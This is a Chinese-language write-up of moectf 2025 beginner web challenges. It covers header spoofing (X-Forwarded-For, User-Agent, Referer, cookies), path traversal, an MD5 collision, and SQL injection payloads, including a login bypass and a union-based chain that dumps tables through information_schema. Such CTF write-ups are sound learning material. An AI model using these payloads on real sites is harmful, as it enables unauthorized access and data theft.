moectf 2025-web write-up

T1-万言启封咒

考察一个f12“元素”标签的使用，更改输入框内文字为txt内容即可

考察bp等抓包，从模糊文字可知要访问/golden_trail页面，在响应头中即可看到flag

宗门弟子改命，查看源代码可知是用一个POST请求上传level，并用js上传manifest，各自改好POST上去即可

磐石傀儡：get方法传参即可，直接?key=xdsec
织云傀儡: post方法传参即可，注意不要直接复制（手打一下织云阁=第一
溯源傀儡：本地访问，更改XFF（X-Forwarded-For）为127.0.0.1即可
器灵傀儡：使用“moe browser”访问，更改useragent即可
心印傀儡：“以xt的身份认证user”，注意认证这两个字的含金量，所以加上cookie:user=xt
前尘傀儡：”从http://panshi/entry来“，更改Referer即可
逆转傀儡：PUT一个”新生！“上去即可（别忘了感叹号，并且更改Content-Type）
PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生！
关键：使用PUT方法；简单设置Content-Type；在Body中传递一个象征"新生"的信息

别给首页那个破阵的文件骗了……那个是T4的，第一次做顺序放反了，被坑了好久（泣）

…/…/穿越回主目录下即可发现flag

mysql绕过登录

用户名字段大概是:

SELECT * FROM users WHERE username=‘$username’ AND password=‘$password’;（变量记得加$，md打不出来）

所以用户名输入admin’ or 1 = 1 # 以注释掉密码，之后密码字段随便填就好

”告知搜索引擎爬虫哪些页面可以抓取“，想到robots.txt，访问，发现”Disallow: /flag.php“

访问后发现要求a!=b,且md5值”相等“，想到md5碰撞，网上搜两个传参就好（传参直接跟?就好，不用/）

根据提示，可知考察sql注入，首先尝试admin’ or 1 = 1#，给出回显“Welcome admin”，并未登录

输入预期错误admin’ and 1=2#，显示登陆错误，实锤是sql注入

admin’ order by 3#起报错，说明就user和pwd两列

-1’ union select 1111,2222#，回显1111，说明pwd的字段是黑盒（注意，不要再用admin！！！admin存在就会一直报welcomeadmin，啥也拿不到）

爆库名：-1’ union select database(),2222# ，发现在user库

爆表名：-1’ union select table_name,2222 from information_schema.tables where table_schema = database() #，回显welcome flag

注意：“爆表名”时，where跟的是table_schema，且值写database，不要具体写user（待补充

爆列名：-1’ union select column_name,2222 from information_schema.columns where table_schema = database() and table_name = ‘flag’ #，得到回显welcome value

注意：flag要加双引号（泣），上面的原因也是这个

爆字段：-1’ union select value,2 from flag #，得到flag

看网上wp，说是个SSRF漏洞，明天继续更（）